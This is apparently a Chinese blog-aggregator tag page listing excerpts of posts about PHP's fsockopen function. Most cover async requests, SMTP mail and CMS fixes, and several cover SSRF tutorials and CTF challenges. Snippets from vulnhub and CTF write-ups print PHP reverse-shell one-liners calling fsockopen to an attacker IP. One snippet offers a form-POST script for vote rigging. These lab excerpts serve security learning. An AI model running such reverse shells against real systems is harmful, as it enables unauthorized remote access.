fsockopen

初学ssrf（1）

1.相关函数和类：file_get_contents()//将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)readfile()//输出一个文件的内容fsockopen()//打开一个网络连接或者一个
晓幂·2024-02-04 17:55

开发安全之：Server-Side Request Forgery

Overview函数fsockopen()将使用资源URI的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求，因为此请求将自应用程序服务器内部IP地址发出。
irizhao·2024-01-22 20:25

开发安全之：Server-Side Request Forgery

Overview函数fsockopen()将使用资源URI的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求，因为此请求将自应用程序服务器内部IP地址发出。
irizhao·2024-01-21 22:43

vulnhub靶机Chill_Hack

bash也不能用那就用php吧whoami|php-r'$sock=fsockopen("192.168.21.131",666);exec("bash&32>&3");'搞定接下来就是提权了有python
himobrinehacken·2024-01-21 22:12

php网站在服务器上邮件发送不了，在本地可以

研究半天没有搞懂为什么……（高手勿喷）后来上网找了一下，有人说是服务器商因为安全原因把php的fsockopen函数给关闭了。
懒得代码·2024-01-11 12:55

分析日志命令

grep-i"fsockopen"-R*|more搜索文件夹下的fsockopenfind.
xiaopzi123123·2024-01-01 09:11

WEB系列(五)-----------SSRF/XXE/命令执行

产生ssrf漏洞的函数file_get_content()fsockopen()curl_exec()XXEXMLDTDDTD声明类型内部声明外部声明DT
weixinzjh·2023-12-23 14:25

PHP监本telnet到服务器并执行命令脚本，可以用来执行dubbo命令

sock=fsockopen($host,$port);socket_set_timeout($this->sock,10,0);}functionclose(){if($this->sock)fclose
人在码途·2023-11-28 08:45

php 监听redis,php监听redis key失效触发回调事件_后端开发

php中使用fsockopen实现异步请求(代码示例)_后端开发php执行一段程序，有可能几毫秒就执行完毕，也有可能耗时较长。
阿葱的葱白·2023-11-25 03:07

云尘-Acid

Challenge/Magic_Box/command.php发现了这个目录这不就ctf的ping的rce么直接执行命令看看这里如果我们需要反弹shell就需要通过bp的url编码;php-r'$sock=fsockopen
双层小牛堡·2023-11-02 12:30

NSSCTF第8页（2）

ezhtml在js代码找到了flag[HNCTF2022WEEK2]ez_ssrf题目描述说让我们访问index.php,看到了代码传入的data会base64解码，传参port和host，还有一个没见过的函数fsockopen
呕...·2023-10-23 20:55

[HNCTF 2022 WEEK2]ez_ssrf题目解析

这题主要是引入ssrf这个漏洞攻击，本质上没有更深入的考察本题是需要我们去伪造一个ssrf的请求头去绕过题目开始给了我们信息让我们去访问index.phpfsockopen函数触发ssrffsockopen
狼丿王·2023-10-15 09:12

php发送get、post请求的6种方法简明总结？

这篇文章主要介绍php发送get、post请求的6种方法简明总结,分别为使用file_get_contents、fopen、fsockopen、curl来发送GET和POST请求,需要的朋友可以参考下方法
smallmww·2023-10-11 04:41

CTFHUB - SSRF

目录SSRF漏洞攻击对象攻击形式产生漏洞的函数file_get_contents()fsockopen()curl_exec()提高危害利用的伪协议filedictgopher内网访问伪协议读取文件端口扫描
双层小牛堡·2023-10-06 04:14

SSRF攻击(服务端请求伪造)

（因为他是从内部系统访问的，所有可以通过它攻击外网无法访问的内部系统，也就是把目标网站当中间人）原理：参数给变量未经过滤，使用了不安全的函数curl_init、file_get_contents、fsockopen
布满杂草的荆棘·2023-09-26 00:59

怎么实现PHP异步

PHP是支持socket编程的，就是fsockopen函数，函数说明：fsockopen—打开一个网络连接或者一个Unix套接字连接fscokopen会返回
宸风如苏·2023-09-19 09:12

web-ssrf

目录ssrf介绍以pikachu靶场为例curl访问外网链接利用file协议查看本地文件利用dict协议扫描内网主机开放端口file_get_content利用file协议查看本地文件：fsockopen
偷吃"游"的阿彪·2023-08-08 20:27

SSRF 漏洞学习实战

3x05`SSRF`漏洞学习实战一.ssrf漏洞概念二.原理三.SSRF漏洞的危害四.漏洞检测点五.ssrf漏洞绕过六.ssrf漏洞的利用1.相关函数（1）`file_get_contents`（2）`fsockopen
救命救敏·2023-06-07 21:54

【无标题】

(1)相关的函数和类file_get_contents()：将整个文件或一个url所指向的文件读入一个字符串中(php伪协议中常用)readfile()：输出一个文件的内容fsockopen()：打开一个网络连接或者一个
里音日黑·2023-06-07 02:36

无标题文章

fsockopen()函数的作用是可以用来打开一个socket连接，另一个函数pfsockopen()也有相似的功能，只不过后者是一个“持续”(persistent)的fsockopen()函数，它在脚本运行完之后并不立即断开
超人又来了·2023-02-05 15:55

PHP上传文件结合socket完成

利用fsockopen来上传文件以前我写过一篇关于socket通信原理的博文http://blog.51yip.com/php/673.html有兴趣的朋友可以看看，前面讲的那篇博文，socket的服务器和客户端都是要用
云松编程·2022-11-06 14:52

记一次 CURL HTTP 500 错误经历

事出经过APIPost，PHPCURL请求本地API接口始终报HTTP500，CURL和APIPost设置通过fd代理后请求却没有问题主要是PHP调试一直出错，fsockopen、curl、file_get_contents
HiFeiz·2022-07-26 17:48

SSRF漏洞讲解

SSRF漏洞讲解一、初识SSRF漏洞1.定义2.产生原理3.会导致的危害4.常见产生SSRF的地方5.常见缺失函数二、SSRF漏洞利用1.函数（1）file_get_contents（2）fsockopen
跳楼梯企鹅·2022-05-26 11:12

php 怎么实现多线程,php 实现多线程

下面给出通过fsockopen()建立socket连接，然后用用fputs()发送消息，来实现的PHP多线程类
陈炳好·2022-05-23 09:55

php扫描端口

eee;text-align:center;}span{color:red;}pleaseentertheIPaddress10){foreach($portas$key=>$value){$fp=@fsockopen
CSeroad·2022-02-09 06:31

细说——SSRF

目录什么是SSRF形成原因容易出现SSRF的地方SSRF的危害脑图SSRF相关函数和协议函数file_get_contents()fsockopen()curl_exec()协议漏洞检测常用绕过方式限制为
lainwith·2021-10-11 20:45

网络编程--socket

函数包或fsockopen和pfsockopen,后者是长连接，persistent的缩写利用函数建立连接后，资源的传输获取可以用文件操作的几个函数。
机器不能学习·2021-06-25 03:57

PHP的一个完整SMTP类（解决当mail()遇上邮件服务器需要验证时的问题） [转]

class.smtp.phpdebug=FALSE;$this->smtp_port=$smtp_port;$this->relay_host=$relay_host;$this->time_out=30;//isusedinfsockopen
nihilism·2020-09-15 23:36

php 利用smtp封装类发送邮件

文件夹下debug=FALSE;$this->smtp_port=$smtp_port;$this->relay_host=$relay_host;$this->time_out=30;//isusedinfsockopen
hxjcsdn·2020-09-15 22:55

php实现多线程

一、fsockopen，打开一个网络连接或者一个Unix套接字连接。
PHP学习与交流·2020-09-15 22:58

PHP的一个完整SMTP类（解决当mail()遇上邮件服务器需要验证时的问题）

smtp.phpdebug=FALSE;$this->smtp_port=$smtp_port;$this->relay_host=$relay_host;$this->time_out=30;//isusedinfsockopen
大白菜芯·2020-09-15 21:28

向服务器提交POST表单并保存结果的原理，可做刷票系统。

$str="username=test&password=123"$fp=fsockopen("www.123cha.com",80);fputs($fp,"POST/postal/index.phpHTTP
flashlm·2020-09-15 07:26

dedecms 不能自动提取缩略图的2种解决办法

当然第一反应就是升级PHP版本的问题，搜索了一下问题原因大概是fsockopen这个函数的的问题。
南楼上·2020-09-14 22:25

dedecms5.7 不能自动提取缩略图 解决方案

网上好像很多人都有这样的问题,刚刚开始可以,后来就不行了百度了好几页各种改法,各种尝试,后来其实只要改一句代码就可以了可能是因为服务器上禁用了fsockopen()函数造成的，在用fsockopen()
xqcjames·2020-09-14 22:57

Cannot connenct to relay host 关于发送email报错的解决办法。

debug=FALSE;$this->smtp_port=$smtp_port;$this->relay_host=$relay_host;$this->time_out=30;//isusedinfsockopen
花大师·2020-09-13 17:08

使用fsockopen()实现异步调用PHP

Web服务器执行一个脚本，可能几毫秒就完成，也可能几分钟都完不成。如果程序执行缓慢，用户可能没有耐心等下去，就关闭浏览器了。而有的时候，我们更本不关心这些耗时的脚本的执行结果，但却还要等他执行完返回，才能继续下一步。那么有没有什么办法，只是简单的触发调用这些耗时的脚本然后就继续下一步，让这些耗时的脚本在服务端慢慢执行？接下来，我将使用fscokopen来实现这一功能。PHP是支持socket编程的
lzr77·2020-09-13 03:21

PHP利用fsockopen POST HTTP请求(URL)并获取返回值

简要说明：代码第二行是你的IP地址或域名，第四行是你要POST的页面的具体地址，本例用的是fsock.php，fsock.php内容如下：";echo"password:".$_POST['password'];?>结果为：username:demopassword:hahaha
lzr77·2020-09-13 03:51

php 不等待返回的实现方法（异步调用）

通过fsockopen时打开线程太多，造成apache挂掉。曾经就遇到过用foreach发送邮件把服务器挂掉。1.客户端页面采用AJAX技术请求服务器优点：最简单，也最快，就是
lzr77·2020-09-13 03:50

PHP异步请求

PHP异步也很不少插件，我们使用的是原生的PHP函数，fsockopen()，改函数http请求和socket都可以。这个函数官网手册已经给出了示例，我贴出我优化后的代码，使用的是http。
ribribrib22·2020-09-13 01:13

DEDECMS织梦采集时提示读取网址失败的原因与解决方法

DEDECMS设置采集规则时，保存测试时，提示读取测试网址失败，不能下载远程图片和资源，不能提取缩略图，是因为服务器上禁用了fsockopen()与pfsockopen()函数造成的，在用fsockopen
anwebDesigner·2020-09-13 01:34

OPENSSL问题,使用fsockopen()函数提示错误

环境配置系统环境CentOS7.2WDCPv3.2.2lanmpPHP多版本指定使用5.6OpenSSL1.0.2h3May2016php.ini相关设置allow_url_fopen=Onallow_url_include=Onopenssl.cafile=/www/wdlinux/nginx/conf/cert/cacert.pem(后来下载OPENSSL证书放上的)问题描述PHP程序中使用$
weixin_34321753·2020-09-11 05:27

phpcms转到https后无法注册问题的解决

443:80);中386行$fp=@fsockopen(($ip?$ip:$host),$port,$errno,$
indexroot·2020-08-26 23:44

模拟登录

act'=>'act_login','back_act'=>'http://localhost/ecshop/index.php',);$data=http_build_query($data);$fp=fsockopen
liamu·2020-08-26 12:20

PHP异步：在PHP中使用 fsockopen curl 实现类似异步处理的功能

本文仅作为本人学习过程中的一点心得，欢迎大家拍砖。PHP从主流来看，是一门面向过程的语言，它的最大缺点就是无法实现多线程管理，其程序的执行都是从头到尾，按照逻辑一路执行下来，不可能出现分支，这一点是限制php在主流程序语言中往更高级的语言发展的原因之一。在PHP中我们有的时候其实希望在执行某项操作的时候，同时去执行另外一项操作，举一个场景：在用户抢票的时候，你并不希望用户排队去连接数据库进行查询、
否子戈·2020-08-24 13:48

PHP的fsockopen方式访问接口慢的原因与优化方案

我们比较常使用的方法是fsockopen与接口建立连接，然后发出指令，然后通过fgets接受返回值。但是我们发现，通过PHP模拟访问接口往往比浏览器访问同样的接口慢很多。
lzr77·2020-08-24 10:15

SSRF Tips

SSRFPHPfunction file_get_contents()fsockopen()curl_exec()URLschemasupportSFTP http://0cx.cc/ssrf.php?
Zvall·2020-08-23 22:45

SSRF服务器端请求伪造漏洞之——原理及寻找方法

原理及寻找方法目录原理及寻找方法简介SSRF形成原因小结SSRF漏洞出没位置验证方式绕过手法更改IP地址写法SSRF常用的后端实现file_get_contentsfsockopen()curl_exec
温柔小薛·2020-08-22 15:33

php发送stmp邮件类 给有需要的人

;    $this->smtp_port=$smtp_port;    $this->relay_host=$relay_host;    $this->time_out=30;//isusedinfsockopen
名称正在更新……·2020-08-22 10:55

WordPress无法发送激活邮件给注册用户的解决方法

将WP的smtp的发送方式更改为fsockopen。
laidbacklzs·2020-08-21 14:07

SSRF总结

file_get_contents()把文件写入字符串并且可以fsockopen()获取用户制定url的数据（文件或者html）.这个函数会使用socker可以去请求一个网页curl_exec()curl-v
CMACCKK·2020-08-20 21:32
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他